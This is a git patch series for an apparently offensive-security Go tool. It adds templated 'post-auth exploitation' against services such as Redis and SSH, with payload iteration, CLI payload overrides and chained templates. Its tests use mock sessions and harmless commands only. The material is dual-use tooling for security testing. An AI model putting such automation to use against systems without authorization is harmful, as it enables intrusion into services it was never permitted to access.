+ data: map[string]string{}, + } + + yamlData := ` +id: payload-template +service: [redis] +services: + - attack: clusterbomb + payloads: + key: + - a + - b + value: + - "1" + - "2" + ops: + - kv: "SET §key§ {{value}}" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.Execute(session, "127.0.0.1:6379") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.Extracts["set_ok"]) != 4 { + t.Fatalf("expected 4 payload executions, got result %#v", result) + } + if len(session.calls) != 4 { + t.Fatalf("expected 4 redis commands, got %d: %#v", len(session.calls), session.calls) + } + expected := map[string]struct{}{ + "SET a 1": {}, + "SET a 2": {}, + "SET b 1": {}, + "SET b 2": {}, + } + for _, call := range session.calls { + if _, ok := expected[call]; !ok { + t.Fatalf("unexpected call %q in %#v", call, session.calls) + } + } +} + +func TestTemplatePayloadCLIOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-override-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + - b + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithVariables(session, "127.0.0.1:6379", map[string]interface{}{"key": "cli"}) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.Extracts["set_ok"]) != 1 { + t.Fatalf("expected one overridden payload execution, got %#v", result) + } + if len(session.calls) != 1 || session.calls[0] != "SET cli 1" { + t.Fatalf("unexpected calls: %#v", session.calls) + } +} + +func TestLegacyOpsCompat(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"id": "uid=0(root)"}, + } + + yamlData := ` +ops: + - exec: "id" + name: whoami +matchers: + - type: word + part: whoami + words: ["root"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || !result.Matched { + t.Error("legacy exec: field should still work via normalizeOp") + } +} diff --git a/service/template.go b/service/template.go new file mode 100644 index 0000000..0c52cfc --- /dev/null +++ b/service/template.go @@ -0,0 +1,186 @@ +package service + +import ( + "fmt" + "net" + "strings" + + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/zombie/pkg" +) + +type Template struct { + Id string `json:"id" yaml:"id"` + Service []string `json:"service" yaml:"service"` + Chains []string `json:"chain,omitempty" yaml:"chain,omitempty"` + Variables map[string]interface{} `json:"variables,omitempty" yaml:"variables,omitempty"` + Info struct { + Name string `json:"name" yaml:"name"` + Severity string `json:"severity" yaml:"severity"` + Description string `json:"description,omitempty" yaml:"description,omitempty"` + Tags string `json:"tags,omitempty" yaml:"tags,omitempty"` + } `json:"info" yaml:"info"` + + Services []*Request `json:"services" yaml:"services"` + TotalRequests int `json:"-" yaml:"-"` +} + +func (t *Template) Match(serviceName string) bool { + if len(t.Service) == 0 { + return true + } + for _, s := range t.Service { + if strings.EqualFold(s, serviceName) { + return true + } + } + return false +} + +func (t *Template) Compile(options *protocols.ExecuterOptions) error { + if options == nil { + options = &protocols.ExecuterOptions{Options: &protocols.Options{}} + } + for _, req := range t.Services { + if len(req.Payloads) > 0 { + attack := req.AttackType + if attack == "" { + attack = "pitchfork" + } + if _, ok := protocols.StringToType[strings.ToLower(attack)]; !ok { + return fmt.Errorf("unsupported attack type %q in template %s", attack, t.Id) + } + } + if err := req.Compile(options); err != nil { + return err + } + } + t.TotalRequests = len(t.Services) + if t.TotalRequests == 0 { + return fmt.Errorf("no service requests defined in template %s", t.Id) + } + return nil +} + +func (t *Template) Execute(session pkg.Session, host string) (*operators.Result, error) { + return t.ExecuteWithVariables(session, host, nil) +} + +func (t *Template) ExecuteWithVariables(session pkg.Session, host string, cliVars map[string]interface{}) (*operators.Result, error) { + if !t.Match(session.Service()) { + return nil, nil + } + + payloads := map[string]interface{}{ + "_session": session, + "_service_cli_vars": cliVars, + } + scanCtx := protocols.NewScanContext(host, payloads) + scanCtx.GlobalVars = t.executionVariables(host, cliVars) + + var merged *operators.Result + dynamicValues := copyMap(scanCtx.GlobalVars) + + for _, req := range t.Services { + err := req.ExecuteWithResults(scanCtx, dynamicValues, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult == nil { + return + } + if len(event.OperatorsResult.DynamicValues) > 0 { + if dynamicValues == nil { + dynamicValues = make(map[string]interface{}) + } + for k, v := range event.OperatorsResult.DynamicValues { + if len(v) > 0 { + dynamicValues[k] = v[0] + } + } + } + if !event.OperatorsResult.Matched && !event.OperatorsResult.Extracted { + return + } + if merged == nil { + merged = event.OperatorsResult + } else { + mergeResult(merged, event.OperatorsResult) + } + }) + if err != nil { + return nil, err + } + } + + if merged == nil { + return &operators.Result{}, nil + } + return merged, nil +} + +func (t *Template) executionVariables(host string, cliVars map[string]interface{}) map[string]interface{} { + vars := serviceTargetVariables(host) + for k, v := range t.Variables { + vars[k] = v + } + for k, v := range cliVars { + vars[k] = v + } + evaluated := make(map[string]interface{}, len(vars)) + for k, v := range vars { + value := common.ToString(v) + if strings.Contains(value, "{{") { + if got, err := common.Evaluate(value, vars); err == nil { + evaluated[k] = got + continue + } + } + evaluated[k] = v + } + return evaluated +} + +func serviceTargetVariables(host string) map[string]interface{} { + vars := map[string]interface{}{ + "Hostname": host, + "host": host, + } + if h, p, err := net.SplitHostPort(host); err == nil { + vars["Host"] = h + vars["Port"] = p + vars["hostname"] = host + return vars + } + vars["Host"] = host + return vars +} + +func copyMap(values map[string]interface{}) map[string]interface{} { + copied := make(map[string]interface{}, len(values)) + for k, v := range values { + copied[k] = v + } + return copied +} + +func mergeResult(dst, src *operators.Result) { + if src.Matched { + dst.Matched = true + } + if src.Extracted { + dst.Extracted = true + } + for k, v := range src.Matches { + if dst.Matches == nil { + dst.Matches = make(map[string][]string) + } + dst.Matches[k] = append(dst.Matches[k], v...) + } + for k, v := range src.Extracts { + if dst.Extracts == nil { + dst.Extracts = make(map[string][]string) + } + dst.Extracts[k] = append(dst.Extracts[k], v...) + } + dst.OutputExtracts = append(dst.OutputExtracts, src.OutputExtracts...) +} From f20f7a9613201fb51cbf2d0b290d1abb6cc13b11 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Wed, 24 Jun 2026 02:02:34 -0700 Subject: [PATCH 07/18] =?UTF-8?q?feat:=20add=20ExecuteWithOptions,=20paylo?= =?UTF-8?q?ad=20CLI=20override,=20chain=20mechanism,=20=C2=A7marker=C2=A7?= =?UTF-8?q?=20support?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Template.ExecuteWithOptions(session, host, vars, payloads) for full control - Payload CLI override via -V and cliPayloads passthrough - ServiceAction chain execution with dynamic value propagation - §marker§ payload marker replacement in op fields - parseCommandFields with quoted string and escape support - formatCommandResult for array/interface{} Redis responses Co-Authored-By: Claude Opus 4.6 (1M context) --- action/service.go | 12 +++- core/key_value.go | 21 ++++++ core/key_value_test.go | 24 +++++++ core/options.go | 6 ++ core/runner.go | 2 +- core/runner_option.go | 1 + service/execute.go | 14 ++-- service/service_test.go | 142 ++++++++++++++++++++++++++++++++++++++++ service/template.go | 11 +++- 9 files changed, 221 insertions(+), 12 deletions(-) diff --git a/action/service.go b/action/service.go index 8bb8ab3..585285e 100644 --- a/action/service.go +++ b/action/service.go @@ -18,9 +18,10 @@ type ServiceAction struct { templates []*service.Template index map[string]*service.Template vars map[string]interface{} + payloads map[string]interface{} } -func NewServiceAction(templatePaths []string, vars map[string]interface{}) (*ServiceAction, error) { +func NewServiceAction(templatePaths []string, vars map[string]interface{}, payloads ...map[string]interface{}) (*ServiceAction, error) { execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} var templates []*service.Template for _, p := range templatePaths { @@ -39,7 +40,12 @@ func NewServiceAction(templatePaths []string, vars map[string]interface{}) (*Ser index[t.Id] = t } - return &ServiceAction{templates: templates, index: index, vars: vars}, nil + var cliPayloads map[string]interface{} + if len(payloads) > 0 { + cliPayloads = payloads[0] + } + + return &ServiceAction{templates: templates, index: index, vars: vars, payloads: cliPayloads}, nil } func (a *ServiceAction) Name() string { return "service" } @@ -82,7 +88,7 @@ func (a *ServiceAction) executeTemplate(tmpl *service.Template, session pkg.Sess vars[k] = v } - opResult, err := tmpl.ExecuteWithVariables(session, host, vars) + opResult, err := tmpl.ExecuteWithOptions(session, host, vars, a.payloads) if err != nil { logs.Log.Debugf("[service] template %s failed on %s: %v", tmpl.Id, host, err) return diff --git a/core/key_value.go b/core/key_value.go index 2e79eaa..b2a84a9 100644 --- a/core/key_value.go +++ b/core/key_value.go @@ -19,3 +19,24 @@ func parseKeyValueArgs(values []string) (map[string]interface{}, error) { } return parsed, nil } + +func parsePayloadArgs(values []string) (map[string]interface{}, error) { + if len(values) == 0 { + return nil, nil + } + grouped := make(map[string][]string, len(values)) + for _, value := range values { + key, val, ok := strings.Cut(value, "=") + key = strings.TrimSpace(key) + if !ok || key == "" { + return nil, fmt.Errorf("invalid --payload value %q, expected key=value", value) + } + grouped[key] = append(grouped[key], val) + } + + parsed := make(map[string]interface{}, len(grouped)) + for key, vals := range grouped { + parsed[key] = vals + } + return parsed, nil +} diff --git a/core/key_value_test.go b/core/key_value_test.go index a2d0bdd..f4abb7d 100644 --- a/core/key_value_test.go +++ b/core/key_value_test.go @@ -20,3 +20,27 @@ func TestParseKeyValueArgsRejectsInvalid(t *testing.T) { t.Fatal("expected invalid key=value to fail") } } + +func TestParsePayloadArgsPreservesRepeatedKeys(t *testing.T) { + got, err := parsePayloadArgs([]string{"key=a", "key=b", "cmd=id"}) + if err != nil { + t.Fatalf("parsePayloadArgs: %v", err) + } + keyVals, ok := got["key"].([]string) + if !ok { + t.Fatalf("expected key payload to be []string, got %#v", got["key"]) + } + if len(keyVals) != 2 || keyVals[0] != "a" || keyVals[1] != "b" { + t.Fatalf("unexpected key payload values: %#v", keyVals) + } + cmdVals, ok := got["cmd"].([]string) + if !ok || len(cmdVals) != 1 || cmdVals[0] != "id" { + t.Fatalf("unexpected cmd payload values: %#v", got["cmd"]) + } +} + +func TestParsePayloadArgsRejectsInvalid(t *testing.T) { + if _, err := parsePayloadArgs([]string{"cmd"}); err == nil { + t.Fatal("expected invalid key=value to fail") + } +} diff --git a/core/options.go b/core/options.go index 93313a5..afe73c1 100644 --- a/core/options.go +++ b/core/options.go @@ -74,6 +74,7 @@ type ActionOptions struct { DBLimit int `long:"db-limit" default:"1000" description:"max rows per column in DB credential scan"` ServiceTemplates []string `long:"service-template" description:"service protocol template file or directory for post-auth exploitation"` ServiceVars []string `short:"V" long:"var" description:"custom service-template variables in key=value format"` + ServicePayloads []string `long:"payload" description:"custom service-template payloads in key=value format; repeat key for multiple values"` } func (opt *Option) Validate() error { @@ -125,6 +126,10 @@ func (opt *Option) Prepare() (*Runner, error) { if err != nil { return nil, err } + servicePayloads, err := parsePayloadArgs(opt.ServicePayloads) + if err != nil { + return nil, err + } runnerOpt := &RunnerOption{ Threads: opt.Threads, @@ -142,6 +147,7 @@ func (opt *Option) Prepare() (*Runner, error) { DBLimit: opt.DBLimit, ServiceTemplates: opt.ServiceTemplates, ServiceVars: serviceVars, + ServicePayloads: servicePayloads, } runner := NewRunner(runnerOpt) diff --git a/core/runner.go b/core/runner.go index 6449928..e71625a 100644 --- a/core/runner.go +++ b/core/runner.go @@ -116,7 +116,7 @@ func (r *Runner) BuildPipeline() error { r.Pipeline = append(r.Pipeline, postAction) } if len(r.ServiceTemplates) > 0 { - serviceAction, err := action.NewServiceAction(r.ServiceTemplates, r.ServiceVars) + serviceAction, err := action.NewServiceAction(r.ServiceTemplates, r.ServiceVars, r.ServicePayloads) if err != nil { return fmt.Errorf("failed to init service action: %w", err) } diff --git a/core/runner_option.go b/core/runner_option.go index 5830ca4..85fb4c3 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -21,6 +21,7 @@ type RunnerOption struct { DBLimit int ServiceTemplates []string ServiceVars map[string]interface{} + ServicePayloads map[string]interface{} // ProxyDial 非 nil 时透传到每个 Task,使插件通过代理建立连接。 ProxyDial pkg.DialFunc diff --git a/service/execute.go b/service/execute.go index 885cbe5..fceac6b 100644 --- a/service/execute.go +++ b/service/execute.go @@ -25,7 +25,8 @@ func (r *Request) ExecuteWithResults(input *protocols.ScanContext, dynamicValues } cliVars, _ := input.Payloads["_service_cli_vars"].(map[string]interface{}) - payloadIterator, err := r.payloadIterator(cliVars) + cliPayloads, _ := input.Payloads["_service_cli_payloads"].(map[string]interface{}) + payloadIterator, err := r.payloadIterator(cliVars, cliPayloads) if err != nil { return err } @@ -96,19 +97,22 @@ func (r *Request) ExecuteWithResults(input *protocols.ScanContext, dynamicValues return nil } -func (r *Request) payloadIterator(overrides map[string]interface{}) (*protocols.Iterator, error) { - if len(r.Payloads) == 0 { +func (r *Request) payloadIterator(varOverrides, payloadOverrides map[string]interface{}) (*protocols.Iterator, error) { + if len(r.Payloads) == 0 && len(payloadOverrides) == 0 { return nil, nil } - payloads := make(map[string]interface{}, len(r.Payloads)) + payloads := make(map[string]interface{}, len(r.Payloads)+len(payloadOverrides)) for k, v := range r.Payloads { payloads[k] = v } - for k, v := range overrides { + for k, v := range varOverrides { if _, ok := payloads[k]; ok { payloads[k] = v } } + for k, v := range payloadOverrides { + payloads[k] = v + } attack := strings.ToLower(r.AttackType) if attack == "" { attack = "pitchfork" diff --git a/service/service_test.go b/service/service_test.go index 757bc3c..33dd49e 100644 --- a/service/service_test.go +++ b/service/service_test.go @@ -490,6 +490,148 @@ services: } } +func TestTemplateExplicitPayloadCLIOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-explicit-override-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + - b + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithOptions(session, "127.0.0.1:6379", nil, map[string]interface{}{ + "key": []string{"cli-a", "cli-b"}, + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.Extracts["set_ok"]) != 2 { + t.Fatalf("expected two overridden payload executions, got %#v", result) + } + expected := []string{"SET cli-a 1", "SET cli-b 1"} + if len(session.calls) != len(expected) { + t.Fatalf("unexpected call count: %#v", session.calls) + } + for i, call := range expected { + if session.calls[i] != call { + t.Fatalf("unexpected calls: %#v", session.calls) + } + } +} + +func TestTemplateExplicitPayloadBeatsVarOverride(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-precedence-template +service: [redis] +services: + - attack: pitchfork + payloads: + key: + - a + ops: + - kv: "SET §key§ 1" + name: set_result +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + _, err := tmpl.ExecuteWithOptions( + session, + "127.0.0.1:6379", + map[string]interface{}{"key": "var-value"}, + map[string]interface{}{"key": []string{"payload-value"}}, + ) + if err != nil { + t.Fatalf("execute: %v", err) + } + if len(session.calls) != 1 || session.calls[0] != "SET payload-value 1" { + t.Fatalf("unexpected calls: %#v", session.calls) + } +} + +func TestTemplateExplicitPayloadCanDefinePayloadSet(t *testing.T) { + session := &mockKVSession{ + svc: "redis", + data: map[string]string{}, + } + + yamlData := ` +id: payload-cli-defined-template +service: [redis] +services: + - attack: pitchfork + ops: + - kv: "SET §key§ 1" + name: set_result + extractors: + - type: regex + name: set_ok + part: set_result + regex: ['(OK)'] + group: 1 +` + var tmpl Template + if err := yaml.Unmarshal([]byte(yamlData), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(nil); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.ExecuteWithOptions(session, "127.0.0.1:6379", nil, map[string]interface{}{ + "key": []string{"cli-a", "cli-b"}, + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil || len(result.Extracts["set_ok"]) != 2 { + t.Fatalf("expected CLI-defined payload executions, got %#v", result) + } + expected := []string{"SET cli-a 1", "SET cli-b 1"} + if len(session.calls) != len(expected) { + t.Fatalf("unexpected call count: %#v", session.calls) + } + for i, call := range expected { + if session.calls[i] != call { + t.Fatalf("unexpected calls: %#v", session.calls) + } + } +} + func TestLegacyOpsCompat(t *testing.T) { session := &mockShellSession{ svc: "ssh", diff --git a/service/template.go b/service/template.go index 0c52cfc..976fc78 100644 --- a/service/template.go +++ b/service/template.go @@ -65,17 +65,22 @@ func (t *Template) Compile(options *protocols.ExecuterOptions) error { } func (t *Template) Execute(session pkg.Session, host string) (*operators.Result, error) { - return t.ExecuteWithVariables(session, host, nil) + return t.ExecuteWithOptions(session, host, nil, nil) } func (t *Template) ExecuteWithVariables(session pkg.Session, host string, cliVars map[string]interface{}) (*operators.Result, error) { + return t.ExecuteWithOptions(session, host, cliVars, nil) +} + +func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, cliPayloads map[string]interface{}) (*operators.Result, error) { if !t.Match(session.Service()) { return nil, nil } payloads := map[string]interface{}{ - "_session": session, - "_service_cli_vars": cliVars, + "_session": session, + "_service_cli_vars": cliVars, + "_service_cli_payloads": cliPayloads, } scanCtx := protocols.NewScanContext(host, payloads) scanCtx.GlobalVars = t.executionVariables(host, cliVars) From 2a58d2d3ee078bec4039820be72c83e1cf264824 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Wed, 24 Jun 2026 11:07:10 -0700 Subject: [PATCH 08/18] refactor(action): use neutron ChainExecutor for service chain walking MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace hand-rolled DFS chain logic with neutron's generic ChainExecutor (DepthFirst + PassVariables). Removes loadServiceTemplateFileWithChains, findChainTemplateFile, and chainTargets field — chain resolution is now fully in-memory via the shared executor. Adds comprehensive chain tests. Co-Authored-By: Claude Opus 4.6 (1M context) --- action/action_test.go | 385 ++++++++++++++++++++++++++++++++++++++++++ action/service.go | 123 ++++++-------- go.mod | 3 +- go.sum | 21 +-- 4 files changed, 443 insertions(+), 89 deletions(-) diff --git a/action/action_test.go b/action/action_test.go index 3206007..61a8a2b 100644 --- a/action/action_test.go +++ b/action/action_test.go @@ -295,6 +295,391 @@ func TestPostAction_File(t *testing.T) { } } +func TestServiceActionChain(t *testing.T) { + dir := t.TempDir() + root := `id: root-chain +service: [ssh] +chain: [child-chain] +info: + name: Root Chain + severity: info +services: + - ops: + - shell: "detect-os" + name: os_detect + extractors: + - type: regex + name: os_type + internal: true + part: os_detect + regex: ['(Linux)'] + group: 1 +` + child := `id: child-chain +service: [ssh] +info: + name: Child Chain + severity: info +services: + - ops: + - shell: "child-command" + name: child_output + extractors: + - type: regex + name: child_value + part: child_output + regex: ['(child-ok)'] + group: 1 +` + if err := os.WriteFile(filepath.Join(dir, "root-chain.yaml"), []byte(root), 0644); err != nil { + t.Fatalf("write root template: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, "child-chain.yaml"), []byte(child), 0644); err != nil { + t.Fatalf("write child template: %v", err) + } + + a, err := NewServiceAction([]string{dir}, nil) + if err != nil { + t.Fatalf("NewServiceAction failed: %v", err) + } + session := &mockShellSession{ + files: map[string][]byte{ + "detect-os": []byte("Linux\n"), + "child-command": []byte("child-ok\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run failed: %v", err) + } + + for _, extracted := range result.Extracteds { + if extracted.Name == "child-chain:child_value" && len(extracted.ExtractResult) == 1 && extracted.ExtractResult[0] == "child-ok" { + return + } + } + t.Fatalf("expected chained extraction, got %#v", result.Extracteds) +} + +func TestServiceAction_ChainTargetNotEntrypoint(t *testing.T) { + dir := t.TempDir() + // root chains to child; child should NOT run as a top-level entry point + root := `id: entry +service: [ssh] +chain: [helper] +info: + name: Entry + severity: info +services: + - ops: + - shell: "echo entry" + name: entry_out + extractors: + - type: regex + name: entry_val + part: entry_out + regex: ['(entry)'] + group: 1 +` + helper := `id: helper +service: [ssh] +info: + name: Helper + severity: info +services: + - ops: + - shell: "echo helper" + name: helper_out + extractors: + - type: regex + name: helper_val + part: helper_out + regex: ['(helper)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "entry.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "helper.yaml"), []byte(helper), 0644) + + a, err := NewServiceAction([]string{dir}, nil) + if err != nil { + t.Fatalf("NewServiceAction: %v", err) + } + session := &mockShellSession{ + files: map[string][]byte{ + "echo entry": []byte("entry\n"), + "echo helper": []byte("helper\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + // Both should appear in results (entry as entry point, helper via chain) + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + if !found["entry:entry_val"] { + t.Error("missing entry extraction") + } + if !found["helper:helper_val"] { + t.Error("missing helper extraction (should run via chain)") + } + + // helper should appear exactly once (not duplicated as both entry point and chain) + count := 0 + for _, e := range result.Extracteds { + if e.Name == "helper:helper_val" { + count++ + } + } + if count != 1 { + t.Errorf("helper executed %d times, want 1", count) + } +} + +func TestServiceAction_ServiceMismatchSkipsChain(t *testing.T) { + dir := t.TempDir() + root := `id: ssh-root +service: [ssh] +chain: [mysql-only] +info: + name: SSH Root + severity: info +services: + - ops: + - shell: "echo root" + name: root_out + extractors: + - type: regex + name: root_val + part: root_out + regex: ['(root)'] + group: 1 +` + mysqlOnly := `id: mysql-only +service: [mysql] +info: + name: MySQL Only + severity: info +services: + - ops: + - shell: "echo mysql" + name: mysql_out + extractors: + - type: regex + name: mysql_val + part: mysql_out + regex: ['(mysql)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "root.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "mysql.yaml"), []byte(mysqlOnly), 0644) + + a, err := NewServiceAction([]string{dir}, nil) + if err != nil { + t.Fatalf("NewServiceAction: %v", err) + } + // session is SSH, so mysql-only should be skipped + session := &mockShellSession{ + files: map[string][]byte{ + "echo root": []byte("root\n"), + "echo mysql": []byte("mysql\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + for _, e := range result.Extracteds { + if e.Name == "mysql-only:mysql_val" { + t.Fatal("mysql-only template should NOT execute on SSH session") + } + } + found := false + for _, e := range result.Extracteds { + if e.Name == "ssh-root:root_val" { + found = true + } + } + if !found { + t.Error("ssh-root should have executed") + } +} + +func TestServiceAction_ServiceMismatchStopsChain(t *testing.T) { + // When a chain target doesn't match the session's service, it returns nil + // and its own chains (if any) should NOT execute. + dir := t.TempDir() + root := `id: ssh-entry +service: [ssh] +chain: [mysql-gate] +info: + name: SSH Entry + severity: info +services: + - ops: + - shell: "echo entry" + name: entry_out + extractors: + - type: regex + name: entry_val + part: entry_out + regex: ['(entry)'] + group: 1 +` + gate := `id: mysql-gate +service: [mysql] +chain: [after-gate] +info: + name: MySQL Gate + severity: info +services: + - ops: + - shell: "echo gate" + name: gate_out + extractors: + - type: regex + name: gate_val + part: gate_out + regex: ['(gate)'] + group: 1 +` + afterGate := `id: after-gate +service: [ssh] +info: + name: After Gate + severity: info +services: + - ops: + - shell: "echo after" + name: after_out + extractors: + - type: regex + name: after_val + part: after_out + regex: ['(after)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "entry.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "gate.yaml"), []byte(gate), 0644) + os.WriteFile(filepath.Join(dir, "after.yaml"), []byte(afterGate), 0644) + + a, err := NewServiceAction([]string{dir}, nil) + if err != nil { + t.Fatalf("NewServiceAction: %v", err) + } + session := &mockShellSession{ + files: map[string][]byte{ + "echo entry": []byte("entry\n"), + "echo gate": []byte("gate\n"), + "echo after": []byte("after\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + if !found["ssh-entry:entry_val"] { + t.Error("ssh-entry should have executed") + } + if found["mysql-gate:gate_val"] { + t.Error("mysql-gate should NOT execute on SSH session") + } + if found["after-gate:after_val"] { + t.Error("after-gate should NOT execute because mysql-gate was skipped") + } +} + +func TestServiceAction_MultipleChains(t *testing.T) { + dir := t.TempDir() + root := `id: multi-root +service: [ssh] +chain: [branch-a, branch-b] +info: + name: Multi Root + severity: info +services: + - ops: + - shell: "echo root" + name: root_out + extractors: + - type: regex + name: root_val + part: root_out + regex: ['(root)'] + group: 1 +` + branchA := `id: branch-a +service: [ssh] +info: + name: Branch A + severity: info +services: + - ops: + - shell: "echo a" + name: a_out + extractors: + - type: regex + name: a_val + part: a_out + regex: ['(a)'] + group: 1 +` + branchB := `id: branch-b +service: [ssh] +info: + name: Branch B + severity: info +services: + - ops: + - shell: "echo b" + name: b_out + extractors: + - type: regex + name: b_val + part: b_out + regex: ['(b)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "root.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "a.yaml"), []byte(branchA), 0644) + os.WriteFile(filepath.Join(dir, "b.yaml"), []byte(branchB), 0644) + + a, err := NewServiceAction([]string{dir}, nil) + if err != nil { + t.Fatalf("NewServiceAction: %v", err) + } + session := &mockShellSession{ + files: map[string][]byte{ + "echo root": []byte("root\n"), + "echo a": []byte("a\n"), + "echo b": []byte("b\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + for _, want := range []string{"multi-root:root_val", "branch-a:a_val", "branch-b:b_val"} { + if !found[want] { + t.Errorf("missing extraction %s, got %v", want, found) + } + } +} + // --- Worker Integration Test --- func TestWorkerExecute_WithPostAction(t *testing.T) { diff --git a/action/service.go b/action/service.go index 585285e..4ea359b 100644 --- a/action/service.go +++ b/action/service.go @@ -8,6 +8,7 @@ import ( "github.com/chainreactors/logs" "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/neutron/templates" "github.com/chainreactors/parsers" "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/service" @@ -15,29 +16,34 @@ import ( ) type ServiceAction struct { - templates []*service.Template - index map[string]*service.Template - vars map[string]interface{} - payloads map[string]interface{} + index map[string]*service.Template + chain *templates.ChainExecutor + vars map[string]interface{} + payloads map[string]interface{} } func NewServiceAction(templatePaths []string, vars map[string]interface{}, payloads ...map[string]interface{}) (*ServiceAction, error) { execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} - var templates []*service.Template + var loaded []*service.Template for _, p := range templatePaths { tmpls, err := loadServiceTemplatesFromPath(p, execOpts) if err != nil { return nil, fmt.Errorf("load service templates from %s: %w", p, err) } - templates = append(templates, tmpls...) + loaded = append(loaded, tmpls...) } - if len(templates) == 0 { + if len(loaded) == 0 { return nil, fmt.Errorf("no service templates loaded") } - index := make(map[string]*service.Template, len(templates)) - for _, t := range templates { + index := make(map[string]*service.Template, len(loaded)) + chain := templates.NewChainExecutor(templates.ChainConfig{ + DepthFirst: true, + PassVariables: true, + }) + for _, t := range loaded { index[t.Id] = t + chain.Add(t.Id, t.Chains) } var cliPayloads map[string]interface{} @@ -45,7 +51,7 @@ func NewServiceAction(templatePaths []string, vars map[string]interface{}, paylo cliPayloads = payloads[0] } - return &ServiceAction{templates: templates, index: index, vars: vars, payloads: cliPayloads}, nil + return &ServiceAction{index: index, chain: chain, vars: vars, payloads: cliPayloads}, nil } func (a *ServiceAction) Name() string { return "service" } @@ -53,69 +59,44 @@ func (a *ServiceAction) Name() string { return "service" } func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { result := &pkg.ActionResult{} host := task.Address() - executed := make(map[string]bool) + svc := session.Service() - for _, tmpl := range a.templates { - if len(tmpl.Chains) > 0 { - // templates with chains are entry points only — skip if chained from elsewhere - continue + a.chain.Execute(a.chain.Entrypoints(), func(id string, vars map[string]interface{}) *templates.ChainResult { + tmpl, ok := a.index[id] + if !ok || !tmpl.Match(svc) { + return nil } - a.executeTemplate(tmpl, session, host, nil, result, executed) - } - // now run entry-point templates (those with chains) - for _, tmpl := range a.templates { - if len(tmpl.Chains) == 0 { - continue + mergedVars := copyVars(a.vars) + for k, v := range vars { + mergedVars[k] 